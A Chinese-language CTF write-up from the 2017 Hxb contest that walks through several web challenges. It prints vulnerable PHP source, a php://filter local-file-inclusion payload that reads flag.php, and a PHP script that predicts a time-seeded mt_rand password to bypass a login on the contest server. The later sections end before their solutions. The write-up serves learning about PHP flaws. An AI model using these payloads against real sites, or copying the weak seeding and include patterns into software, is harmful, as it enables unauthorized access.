2017Hxb安全比赛小记

看看这次能不能进决赛吧. 感觉是感慨良多…12h打的真是

0x00. 插曲

传说中的CTF搅屎棍?开赛前1h服务器就被DDOS打成了(~ ̄(OO) ̄)ブ…… 502/404不断,唔…下面的360wzws醒目

hxb00

0x01.web文件上传

发现上传后的目录地址:http://114.215.129.72:10080/uploads/,但是提示403权限不够. 开始的页面通过一个GET的请求option参数跳转,测试发现还存在 common.php , home.php,upload.php三个.尝试直接构造option=XXX

  • home.php,common.php,upload.php直接访问无任何响应,空白页面. 返回200….. 估计是因为参数缺少

传入非.png文件报错Error,传入PNG文件直接返回500,但是没有错误信息…

http://114.215.129.72:10080/?op=show&imagekey=ac76461ad04ede907ef961a173ee10c263405a9a

可以看到上传完成后是op=XXX & imagekey= xxx .猜测文件包含漏洞先. 首先尝试常见的本地包含.

hxb01

嘿,发现真的有一个提示,经过尝试发现它把..ban了 而. 没被ban,尝试之前试的重复绕过.发现也不行.考虑使用file://绕过

但是发现猜测远程路径都不对.试试本地路径file:// ,发现也不行… 那考虑最后的php:// ,果然没让我失望:

构造http://114.215.129.72:10080/?op=php://filter/read=convert.base64-encode/resource=common

爆出base64后的编码.转码后

common.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 100);
function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}

$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
stream_wrapper_unregister ("zip");
?>
upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 注意: 其中/* */注释的前端页面是因为hexo没法解析html掺杂其中,是原本不需要的.
<?php
include 'common.php';

if(isset($_POST['submit']) && isset($_FILES['image'])) {
$fn = $_FILES['image']['tmp_name'];
$ft = $_FILES['image']['type'];

if(!is_uploaded_file($fn)) {
fatal('uploaded file corrupted');
}

$array = array('image/png');
if(!in_array($ft,$array)){
fatal("Sorry, only PNG files are allowed.");
}
$imagekey = create_image_key();
move_uploaded_file($fn, "uploads/$imagekey.png");
header("Location: ?op=show&imagekey=$imagekey");

} else {
?>
/*<center>
<div class="article">
<h2>Upload your own png file</h2>
<form enctype="multipart/form-data" action="?op=upload" method="POST">
<label for="image">Image file (max <?=MAX_IM_SIZE;?>x<?=MAX_IM_SIZE;?>): </label>
<input type="file" id="image" name="image" />
<br />
<input type="submit" name="submit" value="Upload!" />
</form>
</div>
</center>*/
<?php
}
?>
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');

function page_top($op) {
?>
/*<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body"> */
<?php
}

function fatal($msg) {
?>
/*<div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html> */
<?php
ob_end_flush();
}

register_shutdown_function('page_bottom');
page_top($op);

if(!(include $op . '.php'))
fatal('no such page');
?>
show.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include 'common.php';

if(empty($_GET['imagekey'])) {
header('Location: ?op=home');
exit();
}

$imagekey = $_GET['imagekey'];
$im = load_image($imagekey);

$w = imagesx($im);
$h = imagesy($im);
if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE)
fatal("Invalid image dimensions.");

?>
/*<center>
<div class="article">
<h2></h2>
<p><img src="uploads/<?=$imagekey;?>.png" />
<div>
<a href="uploads/<?=$imagekey;?>.png">View saved image</a>
</div>
</div>
</center> */

但是发现上传任何文件都会报500,不管是真实的9*9的png还是shell. 然后发现源码中的所有 <%= msg %> 都没有执行. 包括MAX_SIZE也不执行,醉封了简直. 强烈怀疑是不是题目自己关了小脚本的执行权限啊……哇所有错误都是报Error,不会有提示.

然后考虑php可能的所有执行协议:

ftp:// — Accessing FTP(s) URLs

php:// — Accessing various I/O streams

zlib:// — Compression Streams

data:// — Data (RFC 2397)

glob:// — Find pathnames matching pattern

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — Process Interaction Streams

发现关键问题在于所有请求都是500,这根本没法注入呀…… 最后实在无奈开御剑加上CTF专用字典,扫到flag.php……(??

最后构造payload:http://114.215.129.72:10080/?op=php://filter/read=convert.base64-encode/resource=flag

hxb02

完全没看懂这题在考什么?crazy

0x02.random(web)

这个题的源文件藏的很过分.curl获取不到,开始直接排除了,后面不说浪费了多少时间.(.index.php.swp注释的response里面.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
2$randpwd = "";
2for ($i = 0; $i < $pw_length; $i++){
22$randpwd .= chr(mt_rand(100, 200));
2}
2return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
2echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();

?>

mt_srand(time())可知,时间戳被作为随机数生成的种子。
time()会返回精确到秒的时间戳,如果服务器时间和本地时间的误差在1s以内,就有机会在本地产生与服务器相同的时间戳,也就意味着本地和服务器可以传入同样的seed,进而生成相同的随机的字符串$pwd
由此$pwd == $_GET['pwd']可被绕过。

如果cookie中没带session key就被认为是新的session。新session的$SESSION['login']的值为空,因此只要传空字符串即可绕过$_SESSION[***] == $_GET['login']

最后用curl携带pwdlogin两个参数发起GET请求,即可得到flag。php脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// generate a random sequence which is identical to the one generated by server
mt_srand(time());
$str = "";
for($i=0; $i<10; $i++) {
$str .= chr(mt_rand(100,200));
}
echo $str;
// prepare for a HTTP request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://114.215.138.89:10080/?pwd=".urlencode($str)."&login=");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close($ch);
?>

img

0x03. web300

上来直接给源码 ,提示拿到shell就会有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '~');
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("关键字WAF");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>shell</a></br>";
echo "我的/flag,你读到了么";
}else{
echo "噢 噢,错了";
}

尝试构造' 报错.因为发现这个没有被万恶的WAF包含. 还有( ) ,以及# , . $ =

1
2
Parse error: syntax error, unexpected ''' (T_ENCAPSED_AND_WHITESPACE) 
in /var/www/html/uploads/ifwZxNcKcHIMP4dFf8bDLqkg9QaITYz1.php on line 1

尝试构造:

1
2
3
content = '()'
Parse error: syntax error, unexpected end of file in
/var/www/html/uploads/mpUW2vuivVooloJbSIYjiocNvm53Oim1.php on line

更新:这个参考p牛的安全blog,如何不使用字母绕过WAF(P牛blog地址自寻~)

0x04.星球大战(web)

上来是一个完整的网站了感觉.

随便扫描发现一堆问题…..我看了一下分值,发现事情并不简单.

hxb04

phpinfo文件发现存在远程文件上传,allow_url_fopen=on .

然后发现存在好几个反射形跟存储型XSS,以及CSRF的可能. 还是老话,先找源码………..

hxb05

几个醒目的XSS提醒我们….这题可能不是简单的XSS……